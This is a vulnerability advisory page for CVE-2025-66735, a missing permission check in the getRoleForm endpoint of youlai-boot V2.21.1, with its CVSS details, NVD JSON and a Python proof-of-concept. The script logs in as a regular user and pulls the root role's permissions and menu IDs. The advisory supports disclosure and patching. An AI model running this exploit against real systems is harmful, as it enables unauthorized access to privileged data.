Security Vulnerability Report
中文
CVE-2025-66735 CVSS 7.5 HIGH

CVE-2025-66735

Published: 2025-12-22 21:15:45
Last Modified: 2026-01-06 15:18:03

Description

youlai-boot V2.21.1 is vulnerable to Incorrect Access Control. The getRoleForm function in SysRoleController.java does not perform permission checks, which may allow non-root users to directly access root roles.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:youlai:youlai-boot:2.21.1:*:*:*:*:*:*:* - VULNERABLE
youlai-boot < 2.21.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66735 PoC - youlai-boot getRoleForm Unauthorized Access # Description: Exploits missing permission check in getRoleForm function # Target: youlai-boot V2.21.1 SysRoleController # Author: Security Researcher # Date: 2025-12-22 import requests import json TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/api/auth/login" ROLE_FORM_URL = f"{TARGET_URL}/api/system/role/form" def exploit_cve_2025_66735(): """ Exploit for CVE-2025-66735: youlai-boot Incorrect Access Control The getRoleForm endpoint does not verify if the user has permission to access root role information. """ print("[*] Starting CVE-2025-66735 Exploitation...") # Step 1: Login with regular user credentials (low privilege account) login_data = { "username": "regular_user", "password": "user_password" } try: session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed!") return False token = login_response.json().get("data", {}).get("token") if not token: print("[-] Failed to obtain authentication token") return False print(f"[+] Logged in successfully with regular user") headers = {"Authorization": f"Bearer {token}"} # Step 2: Access root role form without proper authorization # The vulnerability allows any authenticated user to access this endpoint params = {"roleId": 1} # roleId=1 is typically the root/admin role exploit_response = session.get(ROLE_FORM_URL, headers=headers, params=params, timeout=10) if exploit_response.status_code == 200: role_data = exploit_response.json() print(f"[+] SUCCESS! Retrieved root role information:") print(json.dumps(role_data, indent=2)) # Extract sensitive information if "data" in role_data: sensitive_info = { "roleName": role_data["data"].get("roleName"), "permissions": role_data["data"].get("permissions"), "menuIds": role_data["data"].get("menuIds") } print(f"\n[+] Sensitive Data Extracted:") print(json.dumps(sensitive_info, indent=2)) return True else: print(f"[-] Exploitation failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": exploit_cve_2025_66735()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66735", "sourceIdentifier": "[email protected]", "published": "2025-12-22T21:15:44.807", "lastModified": "2026-01-06T15:18:03.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "youlai-boot V2.21.1 is vulnerable to Incorrect Access Control. The getRoleForm function in SysRoleController.java does not perform permission checks, which may allow non-root users to directly access root roles."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:youlai:youlai-boot:2.21.1:*:*:*:*:*:*:*", "matchCriteriaId": "7CFBFBA2-A744-4EAE-A0F1-78CAE3F65176"}]}]}], "references": [{"url": "https://gist.github.com/old6ma/dc9e6e4a693d12c1a35fd4e1d21d4743", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot/commit/9197065102f92264ded814a9d3e9f2a4ff0da121", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://gitee.com/youlaiorg/youlai-boot/issues/ICH8FR", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}